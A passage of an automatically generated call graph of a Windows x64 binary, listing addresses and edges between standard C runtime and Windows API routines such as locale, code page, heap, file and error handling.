19056->19058 19059 7ff6399ca59a FlsSetValue 19058->19059 19060 7ff6399ca58a FlsSetValue 19058->19060 19062 7ff6399ca5a6 FlsSetValue 19059->19062 19063 7ff6399ca5b8 19059->19063 19061 7ff6399ca593 19060->19061 19065 7ff6399c9c58 __free_lconv_mon 11 API calls 19061->19065 19062->19061 19064 7ff6399ca204 memcpy_s 11 API calls 19063->19064 19066 7ff6399ca5c0 19064->19066 19065->19051 19067 7ff6399c9c58 __free_lconv_mon 11 API calls 19066->19067 19067->19054 19091 7ff6399d1844 19068->19091 19070 7ff6399d1609 19106 7ff6399d12d4 19070->19106 19073 7ff6399d1626 19073->19008 19074 7ff6399cc90c _fread_nolock 12 API calls 19075 7ff6399d1637 19074->19075 19076 7ff6399d163f 19075->19076 19078 7ff6399d164e 19075->19078 19077 7ff6399c9c58 __free_lconv_mon 11 API calls 19076->19077 19077->19073 19078->19078 19113 7ff6399d197c 19078->19113 19081 7ff6399d174a 19082 7ff6399c43f4 memcpy_s 11 API calls 19081->19082 19084 7ff6399d174f 19082->19084 19083 7ff6399d17a5 19086 7ff6399d180c 19083->19086 19124 7ff6399d1104 19083->19124 19087 7ff6399c9c58 __free_lconv_mon 11 API calls 19084->19087 19085 7ff6399d1764 19085->19083 19088 7ff6399c9c58 __free_lconv_mon 11 API calls 19085->19088 19090 7ff6399c9c58 __free_lconv_mon 11 API calls 19086->19090 19087->19073 19088->19083 19090->19073 19092 7ff6399d1867 19091->19092 19093 7ff6399d1871 19092->19093 19139 7ff6399cf5e8 EnterCriticalSection 19092->19139 19096 7ff6399d18e3 19093->19096 19099 7ff6399c9814 _CallSETranslator 45 API calls 19093->19099 19096->19070 19100 7ff6399d18fb 19099->19100 19102 7ff6399d1952 19100->19102 19103 7ff6399ca534 50 API calls 19100->19103 19102->19070 19104 7ff6399d193c 19103->19104 19105 7ff6399d15d4 65 API calls 19104->19105 19105->19102 19107 7ff6399c4178 45 API calls 19106->19107 19108 7ff6399d12e8 19107->19108 19109 7ff6399d12f4 GetOEMCP 19108->19109 19110 7ff6399d1306 19108->19110 19111 7ff6399d131b 19109->19111 19110->19111 19112 7ff6399d130b GetACP 19110->19112 19111->19073 19111->19074 19112->19111 19114 7ff6399d12d4 47 API calls 19113->19114 19115 7ff6399d19a9 19114->19115 19117 7ff6399d19e6 IsValidCodePage 19115->19117 19121 7ff6399d1aff 19115->19121 19123 7ff6399d1a00 memcpy_s 19115->19123 19116 7ff6399bb870 _log10_special 8 API calls 19118 7ff6399d1741 19116->19118 19119 7ff6399d19f7 19117->19119 19117->19121 19118->19081 19118->19085 19120 7ff6399d1a26 GetCPInfo 19119->19120 19119->19123 19120->19121 19120->19123 19121->19116 19140 7ff6399d13ec 19123->19140 19196 7ff6399cf5e8 EnterCriticalSection 19124->19196 19141 7ff6399d151f 19140->19141 19142 7ff6399d1429 GetCPInfo 19140->19142 19143 7ff6399bb870 _log10_special 8 API calls 19141->19143 19142->19141 19145 7ff6399d143c 19142->19145 19144 7ff6399d15be 19143->19144 19144->19121 19146 7ff6399d2150 48 API calls 19145->19146 19147 7ff6399d14b3 19146->19147 19151 7ff6399d6e94 19147->19151 19150 7ff6399d6e94 54 API calls 19150->19141 19152 7ff6399c4178 45 API calls 19151->19152 19153 7ff6399d6eb9 19152->19153 19156 7ff6399d6b60 19153->19156 19157 7ff6399d6ba1 19156->19157 19158 7ff6399cebb0 _fread_nolock MultiByteToWideChar 19157->19158 19162 7ff6399d6beb 19158->19162 19159 7ff6399d6e69 19161 7ff6399bb870 _log10_special 8 API calls 19159->19161 19160 7ff6399d6d21 19160->19159 19165 7ff6399c9c58 __free_lconv_mon 11 API calls 19160->19165 19163 7ff6399d14e6 19161->19163 19162->19159 19162->19160 19164 7ff6399cc90c _fread_nolock 12 API calls 19162->19164 19166 7ff6399d6c23 19162->19166 19163->19150 19164->19166 19165->19159 19166->19160 19167 7ff6399cebb0 _fread_nolock MultiByteToWideChar 19166->19167 19168 7ff6399d6c96 19167->19168 19168->19160 19187 7ff6399ce3f4 19168->19187 19171 7ff6399d6d32 19173 7ff6399d6d50 19171->19173 19174 7ff6399cc90c _fread_nolock 12 API calls 19171->19174 19176 7ff6399d6e04 19171->19176 19172 7ff6399d6ce1 19172->19160 19175 7ff6399ce3f4 __crtLCMapStringW 6 API calls 19172->19175 19173->19160 19178 7ff6399ce3f4 __crtLCMapStringW 6 API calls 19173->19178 19174->19173 19175->19160 19176->19160 19177 7ff6399c9c58 __free_lconv_mon 11 API calls 19176->19177 19177->19160 19179 7ff6399d6dd0 19178->19179 19179->19176 19180 7ff6399d6df0 19179->19180 19181 7ff6399d6e06 19179->19181 19183 7ff6399cfaf8 WideCharToMultiByte 19180->19183 19182 7ff6399cfaf8 WideCharToMultiByte 19181->19182 19184 7ff6399d6dfe 19182->19184 19183->19184 19184->19176 19185 7ff6399d6e1e 19184->19185 19185->19160 19186 7ff6399c9c58 __free_lconv_mon 11 API calls 19185->19186 19186->19160 19188 7ff6399ce020 __crtLCMapStringW 5 API calls 19187->19188 19189 7ff6399ce432 19188->19189 19192 7ff6399ce43a 19189->19192 19193 7ff6399ce4e0 19189->19193 19191 7ff6399ce4a3 LCMapStringW 19191->19192 19192->19160 19192->19171 19192->19172 19194 7ff6399ce020 __crtLCMapStringW 5 API calls 19193->19194 19195 7ff6399ce50e __crtLCMapStringW 19194->19195 19195->19191 19198 7ff6399c87c5 19197->19198 19199 7ff6399c8661 19197->19199 19200 7ff6399c87ee 19198->19200 19201 7ff6399c9c58 __free_lconv_mon 11 API calls 19198->19201 19199->19044 19202 7ff6399c9c58 __free_lconv_mon 11 API calls 19200->19202 19201->19198 19202->19199 19204 7ff6399d55d1 19203->19204 19205 7ff6399d55e8 19203->19205 19206 7ff6399c43f4 memcpy_s 11 API calls 19204->19206 19205->19204 19207 7ff6399d55f6 19205->19207 19208 7ff6399d55d6 19206->19208 19209 7ff6399d55e1 19207->19209 19211 7ff6399c4178 45 API calls 19207->19211 19210 7ff6399c9bf0 _invalid_parameter_noinfo 37 API calls 19208->19210 19209->18905 19210->19209 19211->19209 19213 7ff6399c4178 45 API calls 19212->19213 19214 7ff6399d8281 19213->19214 19217 7ff6399d7ed8 19214->19217 19220 7ff6399d7f26 19217->19220 19218 7ff6399bb870 _log10_special 8 API calls 19219 7ff6399d6515 19218->19219 19219->18905 19219->18906 19221 7ff6399d7fad 19220->19221 19223 7ff6399d7f98 GetCPInfo 19220->19223 19226 7ff6399d7fb1 19220->19226 19222 7ff6399cebb0 _fread_nolock MultiByteToWideChar 19221->19222 19221->19226 19224 7ff6399d8045 19222->19224 19223->19221 19223->19226 19225 7ff6399cc90c _fread_nolock 12 API calls 19224->19225 19224->19226 19227 7ff6399d807c 19224->19227 19225->19227 19226->19218 19227->19226 19228 7ff6399cebb0 _fread_nolock MultiByteToWideChar 19227->19228 19229 7ff6399d80ea 19228->19229 19230 7ff6399cebb0 _fread_nolock MultiByteToWideChar 19229->19230 19240 7ff6399d81cc 19229->19240 19232 7ff6399d8110 19230->19232 19231 7ff6399c9c58 __free_lconv_mon 11 API calls 19231->19226 19233 7ff6399cc90c _fread_nolock 12 API calls 19232->19233 19234 7ff6399d813d 19232->19234 19232->19240 19233->19234 19235 7ff6399cebb0 _fread_nolock MultiByteToWideChar 19234->19235 19234->19240 19236 7ff6399d81b4 19235->19236 19237 7ff6399d81d4 19236->19237 19238 7ff6399d81ba 19236->19238 19246 7ff6399ce278 19237->19246 19238->19240 19242 7ff6399c9c58 __free_lconv_mon 11 API calls 19238->19242 19240->19226 19240->19231 19242->19240 19243 7ff6399d8213 19243->19226 19245 7ff6399c9c58 __free_lconv_mon 11 API calls 19243->19245 19244 7ff6399c9c58 __free_lconv_mon 11 API calls 19244->19243 19245->19226 19247 7ff6399ce020 __crtLCMapStringW 5 API calls 19246->19247 19248 7ff6399ce2b6 19247->19248 19249 7ff6399ce2be 19248->19249 19250 7ff6399ce4e0 __crtLCMapStringW 5 API calls 19248->19250 19249->19243 19249->19244 19251 7ff6399ce327 CompareStringW 19250->19251 19251->19249 19253 7ff6399d6f51 19252->19253 19254 7ff6399d6f6a HeapSize 19252->19254 19255 7ff6399c43f4 memcpy_s 11 API calls 19253->19255 19256 7ff6399d6f56 19255->19256 19257 7ff6399c9bf0 _invalid_parameter_noinfo 37 API calls 19256->19257 19258 7ff6399d6f61 19257->19258 19258->18911 19260 7ff6399d6fa3 19259->19260 19261 7ff6399d6f99 19259->19261 19263 7ff6399d6fa8 19260->19263 19269 7ff6399d6faf memcpy_s 19260->19269 19262 7ff6399cc90c _fread_nolock 12 API calls 19261->19262 19267 7ff6399d6fa1 19262->19267 19264 7ff6399c9c58 __free_lconv_mon 11 API calls 19263->19264 19264->19267 19265 7ff6399d6fe2 HeapReAlloc 19265->19267 19265->19269 19266 7ff6399d6fb5 19268 7ff6399c43f4 memcpy_s 11 API calls 19266->19268 19267->18915 19268->19267 19269->19265 19269->19266 19270 7ff6399d28a0 memcpy_s 2 API calls 19269->19270 19270->19269 19272 7ff6399ce020 __crtLCMapStringW 5 API calls 19271->19272 19273 7ff6399ce254 19272->19273 19273->18919 19275 7ff6399c47e6 19274->19275 19276 7ff6399c480a 19274->19276 19277 7ff6399c47f5 19275->19277 19281 7ff6399c9c58 __free_lconv_mon 11 API calls 19275->19281 19278 7ff6399c480f 19276->19278 19279 7ff6399c4864 19276->19279 19277->18923 19277->18924 19278->19277 19285 7ff6399c9c58 __free_lconv_mon 11 API calls 19278->19285 19288 7ff6399c4824 19278->19288 19280 7ff6399cebb0 _fread_nolock MultiByteToWideChar 19279->19280 19284 7ff6399c4880 19280->19284 19281->19277 19282 7ff6399cc90c _fread_nolock 12 API calls 19282->19277 19283 7ff6399c4887 GetLastError 19286 7ff6399c4368 _fread_nolock 11 API calls 19283->19286 19284->19283 19287 7ff6399c48c2 19284->19287 19291 7ff6399c48b5 19284->19291 19295 7ff6399c9c58 __free_lconv_mon 11 API calls 19284->19295 19285->19288 19290 7ff6399c4894 19286->19290 19287->19277 19289 7ff6399cebb0 _fread_nolock MultiByteToWideChar 19287->19289 19288->19282 19293 7ff6399c4906 19289->19293 19294 7ff6399c43f4 memcpy_s 11 API calls 19290->19294 19292 7ff6399cc90c _fread_nolock 12 API calls 19291->19292 19292->19287 19293->19277 19293->19283 19294->19277 19295->19291 19297 7ff6399c853d 19296->19297 19298 7ff6399c8539 19296->19298 19317 7ff6399d1d4c GetEnvironmentStringsW 19297->19317 19298->18953 19309 7ff6399c88e4 19298->19309 19301 7ff6399c854a 19303 7ff6399c9c58 __free_lconv_mon 11 API calls 19301->19303 19302 7ff6399c8556 19324 7ff6399c86a4 19302->19324 19303->19298 19306 7ff6399c9c58 __free_lconv_mon 11 API calls 19307 7ff6399c857d 19306->19307 19308 7ff6399c9c58 __free_lconv_mon 11 API calls 19307->19308 19308->19298 19310 7ff6399c891e 19309->19310 19311 7ff6399c8907 19309->19311 19310->19311 19312 7ff6399cdea8 memcpy_s 11 API calls 19310->19312 19313 7ff6399c8992 19310->19313 19314 7ff6399cebb0 MultiByteToWideChar _fread_nolock 19310->19314 19316 7ff6399c9c58 __free_lconv_mon 11 API calls 19310->19316 19311->18953 19312->19310 19315 7ff6399c9c58 __free_lconv_mon 11 API calls 19313->19315 19314->19310 19315->19311 19316->19310 19318 7ff6399c8542 19317->19318 19319 7ff6399d1d70 19317->19319 19318->19301 19318->19302 19320 7ff6399cc90c _fread_nolock 12 API calls 19319->19320 19321 7ff6399d1da7 memcpy_s 19320->19321 19322 7ff6399c9c58 __free_lconv_mon 11 API calls 19321->19322 19323 7ff6399d1dc7 FreeEnvironmentStringsW 19322->19323 19323->19318 19325 7ff6399c86cc 19324->19325 19326 7ff6399cdea8 memcpy_s 11 API calls 19325->19326 19336 7ff6399c8707 19326->19336 19327 7ff6399c9c58 __free_lconv_mon 11 API calls 19328 7ff6399c855e 19327->19328 19328->19306 19329 7ff6399c8789 19330 7ff6399c9c58 __free_lconv_mon 11 API calls 19329->19330 19330->19328 19331 7ff6399cdea8 memcpy_s 11 API calls 19331->19336 19332 7ff6399c8778 19333 7ff6399c87c0 11 API calls 19332->19333 19335 7ff6399c8780 19333->19335 19334 7ff6399cf784 37 API calls 19334->19336 19337 7ff6399c9c58 __free_lconv_mon 11 API calls 19335->19337 19336->19329 19336->19331 19336->19332 19336->19334 19338 7ff6399c87ac 19336->19338 19339 7ff6399c870f 19336->19339 19341 7ff6399c9c58 __free_lconv_mon 11 API calls 19336->19341 19337->19339 19340 7ff6399c9c10 _isindst 17 API calls 19338->19340 19339->19327 19342 7ff6399c87be 19340->19342 19341->19336 19344 7ff6399d7e41 __crtLCMapStringW 19343->19344 19345 7ff6399d63fe 19344->19345 19346 7ff6399ce278 6 API calls 19344->19346 19345->18978 19345->18979 19346->19345 19360 7ff6399d9ef3 19361 7ff6399d9f03 19360->19361 19364 7ff6399c4788 LeaveCriticalSection 19361->19364 19625 7ff6399bbe70 19626 7ff6399bbe80 19625->19626 19642 7ff6399c8ec0 19626->19642 19628 7ff6399bbe8c 19648 7ff6399bc168 19628->19648 19630 7ff6399bc44c 7 API calls 19631 7ff6399bbf25 19630->19631 19632 7ff6399bbea4 _RTC_Initialize 19640 7ff6399bbef9 19632->19640 19653 7ff6399bc318 19632->19653 19634 7ff6399bbeb9 19656 7ff6399c832c 19634->19656 19640->19630 19641 7ff6399bbf15 19640->19641 19643 7ff6399c8ed1 19642->19643 19644 7ff6399c8ed9 19643->19644 19645 7ff6399c43f4 memcpy_s 11 API calls 19643->19645 19644->19628 19646 7ff6399c8ee8 19645->19646 19647 7ff6399c9bf0 _invalid_parameter_noinfo 37 API calls 19646->19647 19647->19644 19649 7ff6399bc179 19648->19649 19652 7ff6399bc17e __scrt_release_startup_lock 19648->19652 19650 7ff6399bc44c 7 API calls 19649->19650 19649->19652 19651 7ff6399bc1f2 19650->19651 19652->19632 19681 7ff6399bc2dc 19653->19681 19655 7ff6399bc321 19655->19634 19657 7ff6399bbec5 19656->19657 19658 7ff6399c834c 19656->19658 19657->19640 19680 7ff6399bc3ec InitializeSListHead 19657->19680 19659 7ff6399c8354 19658->19659 19660 7ff6399c836a GetModuleFileNameW 19658->19660 19661 7ff6399c43f4 memcpy_s 11 API calls 19659->19661 19664 7ff6399c8395 19660->19664 19662 7ff6399c8359 19661->19662 19663 7ff6399c9bf0 _invalid_parameter_noinfo 37 API calls 19662->19663 19663->19657 19696 7ff6399c82cc 19664->19696 19667 7ff6399c83dd 19668 7ff6399c43f4 memcpy_s 11 API calls 19667->19668 19669 7ff6399c83e2 19668->19669 19672 7ff6399c9c58 __free_lconv_mon 11 API calls 19669->19672 19670 7ff6399c83f5 19671 7ff6399c8417 19670->19671 19674 7ff6399c8443 19670->19674 19675 7ff6399c845c 19670->19675 19673 7ff6399c9c58 __free_lconv_mon 11 API calls 19671->19673 19672->19657 19673->19657 19676 7ff6399c9c58 __free_lconv_mon 11 API calls 19674->19676 19678 7ff6399c9c58 __free_lconv_mon 11 API calls 19675->19678 19677 7ff6399c844c 19676->19677 19679 7ff6399c9c58 __free_lconv_mon 11 API calls 19677->19679 19678->19671 19679->19657 19682 7ff6399bc2f6 19681->19682 19684 7ff6399bc2ef 19681->19684 19685 7ff6399c94fc 19682->19685 19684->19655 19688 7ff6399c9138 19685->19688 19695 7ff6399cf5e8 EnterCriticalSection 19688->19695 19697 7ff6399c82e4 19696->19697 19698 7ff6399c831c 19696->19698 19697->19698 19699 7ff6399cdea8 memcpy_s 11 API calls 19697->19699 19698->19667 19698->19670 19700 7ff6399c8312 19699->19700 19701 7ff6399c9c58 __free_lconv_mon 11 API calls 19700->19701 19701->19698 19388 7ff6399d09c0 19399 7ff6399d66f4 19388->19399 19400 7ff6399d6701 19399->19400 19401 7ff6399c9c58 __free_lconv_mon 11 API calls 19400->19401 19402 7ff6399d671d 19400->19402 19401->19400 19403 7ff6399c9c58 __free_lconv_mon 11 API calls 19402->19403 19404 7ff6399d09c9 19402->19404 19403->19402 19405 7ff6399cf5e8 EnterCriticalSection 19404->19405 15754 7ff6399c4938 15755 7ff6399c496f 15754->15755 15756 7ff6399c4952 15754->15756 15755->15756 15758 7ff6399c4982 CreateFileW 15755->15758 15779 7ff6399c43d4 15756->15779 15760 7ff6399c49b6 15758->15760 15761 7ff6399c49ec 15758->15761 15788 7ff6399c4a8c GetFileType 15760->15788 15814 7ff6399c4f14 15761->15814 15768 7ff6399c49e1 CloseHandle 15773 7ff6399c496a 15768->15773 15769 7ff6399c49cb CloseHandle 15769->15773 15770 7ff6399c4a20 15840 7ff6399c4cd4 15770->15840 15771 7ff6399c49f5 15835 7ff6399c4368 15771->15835 15778 7ff6399c49ff 15778->15773 15857 7ff6399ca5d8 GetLastError 15779->15857 15781 7ff6399c43dd 15782 7ff6399c43f4 15781->15782 15783 7ff6399ca5d8 memcpy_s 11 API calls 15782->15783 15784 7ff6399c43fd 15783->15784 15785 7ff6399c9bf0 15784->15785 15915 7ff6399c9a88 15785->15915 15787 7ff6399c9c09 15787->15773 15789 7ff6399c4b97 15788->15789 15790 7ff6399c4ada 15788->15790 15792 7ff6399c4bc1 15789->15792 15793 7ff6399c4b9f 15789->15793 15791 7ff6399c4b06 GetFileInformationByHandle 15790->15791 15795 7ff6399c4e10 21 API calls 15790->15795 15796 7ff6399c4b2f 15791->15796 15797 7ff6399c4bb2 GetLastError 15791->15797 15794 7ff6399c4be4 PeekNamedPipe 15792->15794 15803 7ff6399c4b82 15792->15803 15793->15797 15798 7ff6399c4ba3 15793->15798 15794->15803 15800 7ff6399c4af4 15795->15800 15801 7ff6399c4cd4 51 API calls 15796->15801 15799 7ff6399c4368 _fread_nolock 11 API calls 15797->15799 15802 7ff6399c43f4 memcpy_s 11 API calls 15798->15802 15799->15803 15800->15791 15800->15803 15805 7ff6399c4b3a 15801->15805 15802->15803 15804 7ff6399bb870 _log10_special 8 API calls 15803->15804 15806 7ff6399c49c4 15804->15806 15981 7ff6399c4c34 15805->15981 15806->15768 15806->15769 15809 7ff6399c4c34 10 API calls 15810 7ff6399c4b59 15809->15810 15811 7ff6399c4c34 10 API calls 15810->15811 15812 7ff6399c4b6a 15811->15812 15812->15803 15813 7ff6399c43f4 memcpy_s 11 API calls 15812->15813 15813->15803 15815 7ff6399c4f4a 15814->15815 15816 7ff6399c4fe2 __vcrt_freefls 15815->15816 15817 7ff6399c43f4 memcpy_s 11 API calls 15815->15817 15818 7ff6399bb870 _log10_special 8 API calls 15816->15818 15819 7ff6399c4f5c 15817->15819 15821 7ff6399c49f1 15818->15821 15820 7ff6399c43f4 memcpy_s 11 API calls 15819->15820 15822 7ff6399c4f64 15820->15822 15821->15770 15821->15771 15988 7ff6399c7118 15822->15988 15824 7ff6399c4f79 15825 7ff6399c4f81 15824->15825 15826 7ff6399c4f8b 15824->15826 15827 7ff6399c43f4 memcpy_s 11 API calls 15825->15827 15828 7ff6399c43f4 memcpy_s 11 API calls 15826->15828 15834 7ff6399c4f86 15827->15834 15829 7ff6399c4f90 15828->15829 15829->15816 15830 7ff6399c43f4 memcpy_s 11 API calls 15829->15830 15831 7ff6399c4f9a 15830->15831 15833 7ff6399c7118 45 API calls 15831->15833 15832 7ff6399c4fd4 GetDriveTypeW 15832->15816 15833->15834 15834->15816 15834->15832 15836 7ff6399ca5d8 memcpy_s 11 API calls 15835->15836 15837 7ff6399c4375 __free_lconv_mon 15836->15837 15838 7ff6399ca5d8 memcpy_s 11 API calls 15837->15838 15839 7ff6399c4397 15838->15839 15839->15778 15842 7ff6399c4cfc 15840->15842 15841 7ff6399c4a2d 15850 7ff6399c4e10 15841->15850 15842->15841 16082 7ff6399cea34 15842->16082 15844 7ff6399c4d90 15844->15841 15845 7ff6399cea34 51 API calls 15844->15845 15846 7ff6399c4da3 15845->15846 15846->15841 15847 7ff6399cea34 51 API calls 15846->15847 15848 7ff6399c4db6 15847->15848 15848->15841 15849 7ff6399cea34 51 API calls 15848->15849 15849->15841 15851 7ff6399c4e2a 15850->15851 15852 7ff6399c4e61 15851->15852 15853 7ff6399c4e3a 15851->15853 15854 7ff6399ce8c8 21 API calls 15852->15854 15855 7ff6399c4368 _fread_nolock 11 API calls 15853->15855 15856 7ff6399c4e4a 15853->15856 15854->15856 15855->15856 15856->15778 15858 7ff6399ca619 FlsSetValue 15857->15858 15860 7ff6399ca5fc 15857->15860 15859 7ff6399ca62b 15858->15859 15864 7ff6399ca609 SetLastError 15858->15864 15874 7ff6399cdea8 15859->15874 15860->15858 15860->15864 15863 7ff6399ca63a 15865 7ff6399ca658 FlsSetValue 15863->15865 15866 7ff6399ca648 FlsSetValue 15863->15866 15864->15781 15868 7ff6399ca664 FlsSetValue 15865->15868 15869 7ff6399ca676 15865->15869 15867 7ff6399ca651 15866->15867 15881 7ff6399c9c58 15867->15881 15868->15867 15887 7ff6399ca204 15869->15887 15875 7ff6399cdeb9 memcpy_s 15874->15875 15876 7ff6399cdf0a 15875->15876 15877 7ff6399cdeee HeapAlloc 15875->15877 15892 7ff6399d28a0 15875->15892 15879 7ff6399c43f4 memcpy_s 10 API calls 15876->15879 15877->15875 15878 7ff6399cdf08 15877->15878 15878->15863 15879->15878 15882 7ff6399c9c5d RtlFreeHeap 15881->15882 15883 7ff6399c9c8c 15881->15883 15882->15883 15884 7ff6399c9c78 GetLastError 15882->15884 15883->15864 15885 7ff6399c9c85 __free_lconv_mon 15884->15885 15886 7ff6399c43f4 memcpy_s 9 API calls 15885->15886 15886->15883 15901 7ff6399ca0dc 15887->15901 15895 7ff6399d28e0 15892->15895 15900 7ff6399cf5e8 EnterCriticalSection 15895->15900 15913 7ff6399cf5e8 EnterCriticalSection 15901->15913 15916 7ff6399c9ab3 15915->15916 15919 7ff6399c9b24 15916->15919 15918 7ff6399c9ada 15918->15787 15929 7ff6399c986c 15919->15929 15924 7ff6399c9b5f 15924->15918 15930 7ff6399c98c3 15929->15930 15931 7ff6399c9888 GetLastError 15929->15931 15930->15924 15935 7ff6399c98d8 15930->15935 15932 7ff6399c9898 15931->15932 15942 7ff6399ca6a0 15932->15942 15936 7ff6399c98f4 GetLastError SetLastError 15935->15936 15937 7ff6399c990c 15935->15937 15936->15937 15937->15924 15938 7ff6399c9c10 IsProcessorFeaturePresent 15937->15938 15939 7ff6399c9c23 15938->15939 15959 7ff6399c9924 15939->15959 15943 7ff6399ca6bf FlsGetValue 15942->15943 15944 7ff6399ca6da FlsSetValue 15942->15944 15946 7ff6399ca6d4 15943->15946 15948 7ff6399c98b3 SetLastError 15943->15948 15945 7ff6399ca6e7 15944->15945 15944->15948 15947 7ff6399cdea8 memcpy_s 11 API calls 15945->15947 15946->15944 15949 7ff6399ca6f6 15947->15949 15948->15930 15950 7ff6399ca714 FlsSetValue 15949->15950 15951 7ff6399ca704 FlsSetValue 15949->15951 15953 7ff6399ca732 15950->15953 15954 7ff6399ca720 FlsSetValue 15950->15954 15952 7ff6399ca70d 15951->15952 15955 7ff6399c9c58 __free_lconv_mon 11 API calls 15952->15955 15956 7ff6399ca204 memcpy_s 11 API calls 15953->15956 15954->15952 15955->15948 15957 7ff6399ca73a 15956->15957 15958 7ff6399c9c58 __free_lconv_mon 11 API calls 15957->15958 15958->15948 15960 7ff6399c995e _isindst memcpy_s 15959->15960 15961 7ff6399c9986 RtlCaptureContext RtlLookupFunctionEntry 15960->15961 15962 7ff6399c99c0 RtlVirtualUnwind 15961->15962 15963 7ff6399c99f6 IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter 15961->15963 15962->15963 15964 7ff6399c9a48 _isindst 15963->15964 15967 7ff6399bb870 15964->15967 15968 7ff6399bb879 15967->15968 15969 7ff6399bb884 GetCurrentProcess TerminateProcess 15968->15969 15970 7ff6399bbc00 IsProcessorFeaturePresent 15968->15970 15971 7ff6399bbc18 15970->15971 15976 7ff6399bbdf8 RtlCaptureContext 15971->15976 15977 7ff6399bbe12 RtlLookupFunctionEntry 15976->15977 15978 7ff6399bbc2b 15977->15978 15979 7ff6399bbe28 RtlVirtualUnwind 15977->15979 15980 7ff6399bbbc0 SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 15978->15980 15979->15977 15979->15978 15982 7ff6399c4c50 15981->15982 15983 7ff6399c4c5d FileTimeToSystemTime 15981->15983 15982->15983 15985 7ff6399c4c58 15982->15985 15984 7ff6399c4c71 SystemTimeToTzSpecificLocalTime 15983->15984 15983->15985 15984->15985 15986 7ff6399bb870 _log10_special 8 API calls 15985->15986 15987 7ff6399c4b49 15986->15987 15987->15809 15989 7ff6399c7134 15988->15989 15990 7ff6399c71a2 15988->15990 15989->15990 15992 7ff6399c7139 15989->15992 16025 7ff6399cfad0 15990->16025 15993 7ff6399c7151 15992->15993 15994 7ff6399c716e 15992->15994 16000 7ff6399c6ee8 GetFullPathNameW 15993->16000 16008 7ff6399c6f5c GetFullPathNameW 15994->16008 15999 7ff6399c7166 __vcrt_freefls 15999->15824 16001 7ff6399c6f0e GetLastError 16000->16001 16003 7ff6399c6f24 16000->16003 16002 7ff6399c4368 _fread_nolock 11 API calls 16001->16002 16005 7ff6399c6f1b 16002->16005 16004 7ff6399c6f20 16003->16004 16007 7ff6399c43f4 memcpy_s 11 API calls 16003->16007 16004->15999 16006 7ff6399c43f4 memcpy_s 11 API calls 16005->16006 16006->16004 16007->16004 16009 7ff6399c6f8f GetLastError 16008->16009 16012 7ff6399c6fa5 __vcrt_freefls 16008->16012 16010 7ff6399c4368 _fread_nolock 11 API calls 16009->16010 16011 7ff6399c6f9c 16010->16011 16014 7ff6399c43f4 memcpy_s 11 API calls 16011->16014 16013 7ff6399c6fa1 16012->16013 16015 7ff6399c6fff GetFullPathNameW 16012->16015 16016 7ff6399c7034 16013->16016 16014->16013 16015->16009 16015->16013 16017 7ff6399c70a8 memcpy_s 16016->16017 16020 7ff6399c705d memcpy_s 16016->16020 16017->15999 16018 7ff6399c7091 16019 7ff6399c43f4 memcpy_s 11 API calls 16018->16019 16024 7ff6399c7096 16019->16024 16020->16017 16020->16018 16021 7ff6399c70ca 16020->16021 16021->16017 16023 7ff6399c43f4 memcpy_s 11 API calls 16021->16023 16022 7ff6399c9bf0 _invalid_parameter_noinfo 37 API calls 16022->16017 16023->16024 16024->16022 16028 7ff6399cf8e0 16025->16028 16029 7ff6399cf922 16028->16029 16030 7ff6399cf90b 16028->16030 16032 7ff6399cf926 16029->16032 16033 7ff6399cf947 16029->16033 16031 7ff6399c43f4 memcpy_s 11 API calls 16030->16031 16048 7ff6399cf910 16031->16048 16054 7ff6399cfa4c 16032->16054 16066 7ff6399ce8c8 16033->16066 16037 7ff6399cf94c 16041 7ff6399cf9f1 16037->16041 16049 7ff6399cf973 16037->16049 16038 7ff6399c9bf0 _invalid_parameter_noinfo 37 API calls 16053 7ff6399cf91b __vcrt_freefls 16038->16053 16039 7ff6399cf92f 16040 7ff6399c43d4 _fread_nolock 11 API calls 16039->16040 16042 7ff6399cf934 16040->16042 16041->16030 16043 7ff6399cf9f9 16041->16043 16045 7ff6399c43f4 memcpy_s 11 API calls 16042->16045 16046 7ff6399c6ee8 13 API calls 16043->16046 16044 7ff6399bb870 _log10_special 8 API calls 16047 7ff6399cfa41 16044->16047 16045->16048 16046->16053 16047->15999 16048->16038 16050 7ff6399c6f5c 14 API calls 16049->16050 16051 7ff6399cf9b7 16050->16051 16052 7ff6399c7034 37 API calls 16051->16052 16051->16053 16052->16053 16053->16044 16055 7ff6399cfa96 16054->16055 16056 7ff6399cfa66 16054->16056 16058 7ff6399cfaa1 GetDriveTypeW 16055->16058 16059 7ff6399cfa81 16055->16059 16057 7ff6399c43d4 _fread_nolock 11 API calls 16056->16057 16060 7ff6399cfa6b 16057->16060 16058->16059 16062 7ff6399bb870 _log10_special 8 API calls 16059->16062 16061 7ff6399c43f4 memcpy_s 11 API calls 16060->16061 16063 7ff6399cfa76 16061->16063 16064 7ff6399cf92b 16062->16064 16065 7ff6399c9bf0 _invalid_parameter_noinfo 37 API calls 16063->16065 16064->16037 16064->16039 16065->16059 16080 7ff6399d97e0 16066->16080 16069 7ff6399ce915 16072 7ff6399bb870 _log10_special 8 API calls 16069->16072 16070 7ff6399ce93c 16071 7ff6399cdea8 memcpy_s 11 API calls 16070->16071 16073 7ff6399ce94b 16071->16073 16074 7ff6399ce9a9 16072->16074 16075 7ff6399ce964 16073->16075 16076 7ff6399ce955 GetCurrentDirectoryW 16073->16076 16074->16037 16078 7ff6399c43f4 memcpy_s 11 API calls 16075->16078 16076->16075 16077 7ff6399ce969 16076->16077 16079 7ff6399c9c58 __free_lconv_mon 11 API calls 16077->16079 16078->16077 16079->16069 16081 7ff6399ce8fe GetCurrentDirectoryW 16080->16081 16081->16069 16081->16070 16083 7ff6399cea65 16082->16083 16084 7ff6399cea41 16082->16084 16087 7ff6399cea9f 16083->16087 16088 7ff6399ceabe 16083->16088 16084->16083 16085 7ff6399cea46 16084->16085 16086 7ff6399c43f4 memcpy_s 11 API calls 16085->16086 16089 7ff6399cea4b 16086->16089 16090 7ff6399c43f4 memcpy_s 11 API calls 16087->16090 16099 7ff6399c4178 16088->16099 16093 7ff6399c9bf0 _invalid_parameter_noinfo 37 API calls 16089->16093 16091 7ff6399ceaa4 16090->16091 16094 7ff6399c9bf0 _invalid_parameter_noinfo 37 API calls 16091->16094 16095 7ff6399cea56 16093->16095 16097 7ff6399ceaaf 16094->16097 16095->15844 16096 7ff6399cf7ec 51 API calls 16098 7ff6399ceacb 16096->16098 16097->15844 16098->16096 16098->16097 16100 7ff6399c419c 16099->16100 16101 7ff6399c4197 16099->16101 16100->16101 16107 7ff6399ca460 GetLastError 16100->16107 16101->16098 16108 